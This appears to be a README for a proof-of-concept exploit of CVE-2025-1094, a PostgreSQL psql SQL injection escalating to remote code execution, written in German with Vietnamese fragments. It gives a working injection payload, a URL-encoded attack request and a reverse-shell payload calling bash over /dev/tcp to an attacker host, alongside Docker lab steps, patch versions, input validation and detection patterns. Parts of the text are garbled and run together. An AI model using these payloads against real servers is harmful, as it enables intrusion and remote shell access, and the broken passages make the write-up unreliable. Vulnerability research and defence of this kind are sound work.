
Proof-of-Concept-Exploit für CVE-2025-1094, eine PostgreSQL-psql-SQL-Injection, die über libpq-Escaping-Bypass zu RCE führt. Enthält Docker-Umgebung, Exploit-Skript und Anleitung zur Schadensbegrenzung.
Proof of Concept für die schwerwiegende SQL-Injection-Schwachstelle im PostgreSQL-Client libpq und dem psql-Tool
CVE-2025-1094 ist eine schwerwiegende Schwachstelle in der Client-Bibliothek libpq und dem Befehlszeilentool psql von PostgreSQL. Diese Schwachstelle ermöglicht es einem Angreifer, SQL-Injection durchzuführen und zu Remote Code Execution (RCE) zu eskalieren, selbst wenn die Anwendung standardmäßige String-Escape-Funktionen wie verwendet.
PQescapeLiteralDer Fehler entsteht aus der Inkonsistenz bei der Verarbeitung ungültiger Multibyte-Bytefolgen (wie UTF-8) zwischen der Escape-Bibliothek und dem Parser von psql.
1. Bypass des Escapings
PQescapeLiteral wird durch ein "neues Byte" (z. B. 0xC0) getäuscht') als ein einzelnes Zeichen2. RCE über Meta-Befehle
\! verwendenDas Projekt ist so organisiert, dass es eine reale Umgebung beim Aufruf der C-Funktion von libpq simuliert:
.
├── docker-compose.yml # Khởi động PostgreSQL + Web App
├── exolit.py # Exploit script - Tấn công từ bên ngoài
├── README.md # Tài liệu này
└── app/
├── app.py # Flask Web App - Tiếp nhận input user
├── Dockerfile # Build image chứa vulnerable code
└── init_db.sql # Khởi tạo database
/search entgegen\!hax\xc0'; \! id; #
| Komponente | Wert | Bedeutung |
|---|---|---|
| Dateneingabe | hax | Normale gewöhnliche Daten |
| Neues Byte | \xc0 | Ungültiges UTF-8-Byte – umgeht das Escaping |
| Anführungszeichen | ' | Einfaches Anführungszeichen "unsichtbar" – durchbricht den Filter |
| SQL-Ende | ; | Beendet die aktuelle SQL-Anweisung |
| Meta-Befehl | \! | Spezieller psql-Befehl – verlässt die Shell |
| Shell-Befehl | id | Auszuführender Befehl (kann durch Reverse Shell ersetzt werden) |
| Kommentar | # | SQL-Kommentar – deaktiviert überflüssige Teile |
1. Input user: hax\xc0'; \! id; #
↓
2. PQescapeLiteral() không nhận ra \xc0 + ' là tấn công
↓
3. Chuỗi được gửi tới psql: hax\xc0'; \! id; #
↓
4. psql phân tích: đoạn \xc0 được coi là kết thúc chuỗi
↓
5. Meta-command \! được kích hoạt
↓
6. Lệnh shell id được thực thi với quyền của container
docker-compose up -d
docker-compose ps
Stellen Sie sicher, dass sowohl PostgreSQL als auch die Flask-App laufen.
python exolit.py
Erwartetes Ergebnis: Zeigt die vom Server abgerufenen Informationen uid=0(root) an.
docker-compose down
Senden Sie eine POST-Anfrage an /search mit folgendem Body:
name=hax%c0%27;+\!+id+;+%23
%c0 = \xc0 (ungültiges UTF-8-Byte)%27 = ' (einfaches Anführungszeichen)%23 = # (Hash-Zeichen)+ = Leerzeichenhax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23
Hinweis: Ersetzen Sie <ip-hacker> und <port-hacker> durch IP und Port des Angreiferrechners.
Aktualisieren Sie PostgreSQL auf die gepatchten Versionen:
| Version | Sichere Version |
|---|---|
| 17.x | ≥ 17.3 |
| 16.x | ≥ 16.7 |
| 15.x | ≥ 15.11 |
| 14.x | ≥ 14.16 |
| 13.x | ≥ 13.19 |
Überprüfen Sie stets, ob die Eingabedaten gültiges UTF-8 sind, bevor Sie sie verarbeiten:
def validate_utf8(data):
try:
data.encode('utf-8').decode('utf-8')
return True
except UnicodeDecodeError:
return False
Verwenden Sie in der Anwendungsprogrammierung die offiziellen Treiberbibliotheken:
# ❌ KHÔNG: Sử dụng subprocess + psql
subprocess.run(['psql', '-c', user_input])
# ✅ CÓ: Sử dụng parameterized queries với psycopg2
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))
root ausführenroot ausführenRichten Sie Regeln zur Erkennung von Mustern ein:
- Byte 0xC0, 0xC1 trong request body
- Meta-command `\!` trong user input
- Chuỗi như `; \!` hoặc `' \!`
Link zur Quellcodedatei (vor dem Patch) Sie können die Datei src/interfaces/libpq/fe-exec.c in Version 17.2 (der noch anfälligen Version) einsehen:
Sehen Sie sich den "Patch" an – am wichtigsten für White-Box-Analyse Um zu verstehen, warum der Fehler auftrat und wie er behoben wurde, sehen Sie sich am besten das Commit-Diff an (die Änderung zwischen fehlerhafter und gepatchter Version).
Schwachstellenanalyse: https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/